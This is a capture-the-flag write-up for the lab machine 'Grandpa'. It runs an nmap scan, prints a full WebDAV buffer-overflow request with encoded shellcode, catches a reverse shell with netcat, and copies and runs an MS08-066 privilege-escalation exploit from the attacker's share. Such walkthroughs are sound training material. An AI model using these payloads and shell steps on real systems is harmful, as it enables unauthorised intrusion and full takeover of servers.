The first step was to run an Nmap scan to discover services running on the machine:
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# Nmap 7.80 scan initiated Thu Nov 12 14:33:08 2020 as: nmap -sV -sC -O -p1-2056 -oN scan 10.10.10.14
Nmap scan report for 10.10.10.14
Host is up (0.014s latency).
Not shown: 2055 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 6.0
| http-methods:
|_ Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
| http-webdav-scan:
| Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
| Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
| WebDAV type: Unknown
| Server Date: Thu, 12 Nov 2020 19:36:15 GMT
|_ Server Type: Microsoft-IIS/6.0
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2003|2008|XP|2000 (91%)
OS CPE: cpe:/o:microsoft:windows_server_2003::sp1 cpe:/o:microsoft:windows_server_2003::sp2 cpe:/o:microsoft:windows_server_2008::sp2 cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_2000::sp4
Aggressive OS guesses: Microsoft Windows Server 2003 SP1 or SP2 (91%), Microsoft Windows Server 2008 Enterprise SP2 (91%), Microsoft Windows Server 2003 SP2 (91%), Microsoft Windows XP SP3 (89%), Microsoft Windows 2003 SP2 (88%), Microsoft Windows 2000 SP4 (86%), Microsoft Windows XP (86%), Microsoft Windows Server 2003 SP1 - SP2 (85%), Microsoft Windows XP SP2 (85%)
No exact OS matches for host (test conditions non-ideal).
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Nov 12 14:33:28 2020 -- 1 IP address (1 host up) scanned in 19.20 seconds
From the output we can see that IIS 6.0 is running with webdav. I then used searchsploit to search for exploits for IIS 6.0
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┌──(root💀kali)-[/home/kali]
└─# searchsploit iis 6.0 1 ⨯
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Microsoft IIS 4.0/5.0/6.0 - Internal IP Address/Internal Network Name Disclosure | windows/remote/21057.txt
Microsoft IIS 5.0/6.0 FTP Server (Windows 2000) - Remote Stack Overflow | windows/remote/9541.pl
Microsoft IIS 5.0/6.0 FTP Server - Stack Exhaustion Denial of Service | windows/dos/9587.txt
Microsoft IIS 6.0 - '/AUX / '.aspx' Remote Denial of Service | windows/dos/3965.pl
Microsoft IIS 6.0 - ASP Stack Overflow Stack Exhaustion (Denial of Service) (MS10-065) | windows/dos/15167.txt
Microsoft IIS 6.0 - WebDAV 'ScStoragePathFromUrl' Remote Buffer Overflow | windows/remote/41738.py
Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (1) | windows/remote/8704.txt
Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (2) | windows/remote/8806.pl
Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (Patch) | windows/remote/8754.patch
Microsoft IIS 6.0 - WebDAV Remote Authentication Bypass (PHP) | windows/remote/8765.php
Microsoft IIS 6.0/7.5 (+ PHP) - Multiple Vulnerabilities | windows/remote/19033.txt
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
After some trials with some exploits searchsploit discovered, I was able to use the one based on the ScStoragePathFromUrl remote buffer overflow found HERE.
I created a netcat listener on port 2600, downloaded the python script and ran it with the necessary arguments.
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root@kali:/home/kali/Documents/grandpa# python test.py 10.10.10.14 80 10.10.14.15 2600
Traceback (most recent call last):
File "test.py", line 124, in <module>
sock.connect((targetip,targetport))
File "/usr/lib/python2.7/socket.py", line 228, in meth
return getattr(self._sock,name)(*args)
socket.error: [Errno 110] Connection timed out
root@kali:/home/kali/Documents/grandpa# python test.py 10.10.10.14 80 10.10.14.15 2600
PROPFIND / HTTP/1.1
Host: localhost
Content-Length: 1744
If: <http://localhost/aaaaaaa￦ﾽﾨﾡﾣﾝﾡﾄﾳ￦ﾤﾶ￤ﾝﾲﾨﾹ￤ﾭﾷ￤ﾽﾰﾕﾓﾩﾏ￤ﾡﾨ￥ﾙﾣ￦ﾵﾔ￦ﾡﾅ￣ﾥﾓ￥ﾁﾬ￥ﾕﾧ￦ﾝﾣ￣ﾍﾤ￤ﾘﾰﾡﾅ￦ﾥﾒ￥ﾐﾱ￤ﾱﾘ￦ﾩﾑﾉﾁ￤ﾈﾱﾀﾵ￥ﾡﾐ￣ﾙﾤ￦ﾱﾇ￣ﾔﾹ￥ﾑﾪ￥ﾀﾴ￥ﾑﾃﾝﾒ￥ﾁﾡ￣ﾈﾲ￦ﾵﾋ￦ﾰﾴ￣ﾉﾇ￦ﾉﾁ￣ﾝﾍ￥ﾅﾡ￥ﾡﾢ￤ﾝﾳ￥ﾉﾐ￣ﾙﾰﾕﾄ￦ﾡﾪ￣ﾍﾴ￤ﾹﾊﾡﾫ￤ﾥﾶ￤ﾹﾳ￤ﾱﾪ￥ﾝﾺ￦ﾽﾱ￥ﾡﾊ￣ﾈﾰ￣ﾝﾮ￤ﾭﾉ￥ﾉﾍ￤ﾡﾣ￦ﾽﾌﾕﾖﾕﾵ￦ﾙﾯﾙﾨ￤ﾑﾍ￥ﾁﾰﾨﾶ￦ﾉﾋ￦ﾕﾗﾕﾐ￦ﾩﾲﾩﾫﾝﾢﾙﾘ￦ﾉﾈ￦ﾔﾱ￣ﾁﾔ￦ﾱﾹ￥ﾁﾊ￥ﾑﾢ￥ﾀﾳ￣ﾕﾷ￦ﾩﾷ￤ﾅﾄ￣ﾌﾴ￦ﾑﾶ￤ﾵﾆ￥ﾙﾔ￤ﾝﾬ￦ﾕﾃﾘﾲﾉﾸ￥ﾝﾩ￤ﾌﾸ￦ﾉﾲ￥ﾨﾰ￥ﾤﾸ￥ﾑﾈﾂﾂ￡ﾋﾀ￦ﾠﾃ￦ﾱﾄ￥ﾉﾖ￤ﾬﾷ￦ﾱﾭ￤ﾽﾘ￥ﾡﾚﾥﾐ￤ﾥﾪ￥ﾡﾏ￤ﾩﾒ￤ﾅﾐ￦ﾙﾍ￡ﾏﾀ￦ﾠﾃ￤ﾠﾴ￦ﾔﾱ￦ﾽﾃ￦ﾹﾦﾑﾁ￤ﾍﾬ￡ﾏﾀ￦ﾠﾃ￥ﾍﾃ￦ﾩﾁﾁﾒ￣ﾌﾰ￥ﾡﾦ￤ﾉﾌﾁﾋ￦ﾍﾆ￥ﾅﾳﾥﾁﾩﾐ￤ﾩﾬ> (Not <locktoken:write1>) <http://localhost/bbbbbbbﾥﾈ￦ﾅﾵ￤ﾽﾃ￦ﾽﾧ￦ﾭﾯ￤ﾡﾅ￣ﾙﾆ￦ﾝﾵ￤ﾐﾳ￣ﾡﾱ￥ﾝﾥ￥ﾩﾢ￥ﾐﾵ￥ﾙﾡ￦ﾥﾒ￦ﾩﾓ￥ﾅﾗ￣ﾡﾎ￥ﾥﾈ￦ﾍﾕ￤ﾥﾱ￤ﾍﾤ￦ﾑﾲ￣ﾑﾨ￤ﾝﾘﾅﾹ￣ﾍﾫ￦ﾭﾕ￦ﾵﾈ￥ﾁﾏﾩﾆ￣ﾑﾱ￦ﾽﾔﾑﾃ￥ﾥﾖ￦ﾽﾯﾍﾁ￣ﾑﾗ￦ﾅﾨﾩﾲ￣ﾝﾅ￤ﾵﾉ￥ﾝﾎ￥ﾑﾈ￤ﾰﾸ￣ﾙﾺ￣ﾕﾲ￦ﾉﾦ￦ﾹﾃ￤ﾡﾭ￣ﾕﾈ￦ﾅﾷ￤ﾵﾚ￦ﾅﾴ￤ﾄﾳ￤ﾍﾥ￥ﾉﾲ￦ﾵﾩ￣ﾙﾱ￤ﾹﾤ￦ﾸﾹ￦ﾍﾓ￦ﾭﾤ￥ﾅﾆ￤ﾼﾰﾡﾯﾉﾓ￦ﾝﾐ￤ﾕﾓﾩﾣﾄﾹ￤ﾽﾓ￤ﾑﾖ￦ﾼﾶﾍﾹ￦ﾡﾷﾩﾖ￦ﾅﾊ￣ﾥﾅ￣ﾘﾹ￦ﾰﾹ￤ﾔﾱ￣ﾑﾲ￥ﾍﾥ￥ﾡﾊ￤ﾑﾎﾩﾄ￦ﾰﾵ￥ﾩﾖ￦ﾉﾁ￦ﾹﾲ￦ﾘﾱ￥ﾥﾙ￥ﾐﾳ￣ﾅﾂ￥ﾡﾥ￥ﾥﾁﾅﾐ￣ﾀﾶ￥ﾝﾷ￤ﾑﾗ￥ﾍﾡ￡ﾏﾀ￦ﾠﾃ￦ﾹﾏ￦ﾠﾀ￦ﾹﾏ￦ﾠﾀ￤ﾉﾇﾙﾪ￡ﾏﾀ￦ﾠﾃ￤ﾉﾗ￤ﾽﾴ￥ﾥﾇ￥ﾈﾴ￤ﾭﾦ￤ﾭﾂﾑﾤﾡﾯ￦ﾂﾂ￦ﾠﾁ￥ﾄﾵﾉﾺﾑﾺ￤ﾵﾇ￤ﾑﾙ￥ﾝﾗ￫ﾄﾓ￦ﾠﾀ￣ﾅﾶ￦ﾹﾯ￢ﾓﾣ￦ﾠﾁ￡ﾑﾠ￦ﾠﾃﾾ￡ﾏﾀ￦ﾠﾃﾮ￦ﾠﾃﾅﾮﾑﾰ￡ﾐﾴ￦ﾠﾃ￢ﾧﾧ￦ﾠﾁ￩ﾎﾑ￦ﾠﾀ￣ﾤﾱ￦ﾙﾮ￤ﾥﾕ￣ﾁﾒ￥ﾑﾫﾙﾫﾉﾊﾥﾡ￡ﾐﾜ￦ﾠﾃ￦ﾸﾅ￦ﾠﾀﾜﾲﾥﾨ￤ﾵﾩ￣ﾙﾬ￤ﾑﾨ￤ﾵﾰ￨ﾉﾆ￦ﾠﾀ￤ﾡﾷ￣ﾉﾓ￡ﾶﾪ￦ﾠﾂ￦ﾽﾪ￤ﾌﾵ￡ﾏﾸ￦ﾠﾃ￢ﾧﾧ￦ﾠﾁVVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAIAXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JBRDDKLMN8KPM0KP4KOYM4CQJINDKSKPKPTKKQTKT0D8TKQ8RTJKKX1OTKIGJSW4R0KOIBJHKCKOKOKOF0V04PF0M0A>
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┌──(root💀kali)-[/home/kali]
└─# nc -nvlp 2600 1 ⨯
listening on [any] 2600 ...
connect to [10.10.14.18] from (UNKNOWN) [10.10.10.14] 1030
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
c:\windows\system32\inetsrv>
As you can see from the output, the shell was successfully captured by the netcat listener. I then moved onto privilege escalation. I ran systeminfo to get some details of the Grandpa machine. From the output I was able to determine that it was running Server 2003 with only 1 hotfix. Because of this I decided to try using the MS08-066 exploit as I had luck with it in the past. I downloaded the exploit from GITHUB and copied it to the machine using SBM.
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C:\wmpub>copy \\10.10.14.18\testshare\ms08066.exe
copy \\10.10.14.18\testshare\ms08066.exe
1 file(s) copied.
I then ran the exploit.
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C:\wmpub>ms08066.exe
ms08066.exe
MS08-0xx Windows Kernel Ancillary Function Driver Local Privilege Escalation Vulnerability Exploit
Create by SoBeIt.
Kernel is \WINDOWS\system32\ntkrnlpa.exe
Kernel base address: 80800000
Major Version:5 Minor Version:2
Load Base:410000
HalDispatchTable Offset:8088e078
NtQueryIntervalProfile function entry address:8088e07c
Exploit finished.
C:\wmpub>cd c:\
cd c:\
C:\>cd documents and settings
cd documents and settings
C:\Documents and Settings>cd Harry
cd Harry
C:\Documents and Settings\Harry>cd Desktop
cd Desktop
C:\Documents and Settings\Harry\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 246C-D7FE
Directory of C:\Documents and Settings\Harry\Desktop
04/12/2017 04:32 PM <DIR> .
04/12/2017 04:32 PM <DIR> ..
04/12/2017 04:32 PM 32 user.txt
1 File(s) 32 bytes
2 Dir(s) 18,123,960,320 bytes free
C:\Documents and Settings\Harry\Desktop>type user.txt
type user.txt
[REDACTED]
C:\Documents and Settings\Harry\Desktop>cd ..
cd ..
C:\Documents and Settings\Harry>cd ..
cd ..
C:\Documents and Settings>cd Administrator
cd Administrator
C:\Documents and Settings\Administrator>cd Desktop
cd Desktop
C:\Documents and Settings\Administrator\Desktop>type root.txt
type root.txt
[REDACTED]
As you can see from the output, I was able to successfully browse to the Administrator and Harry folders as the SYSTEM user and capture both flags.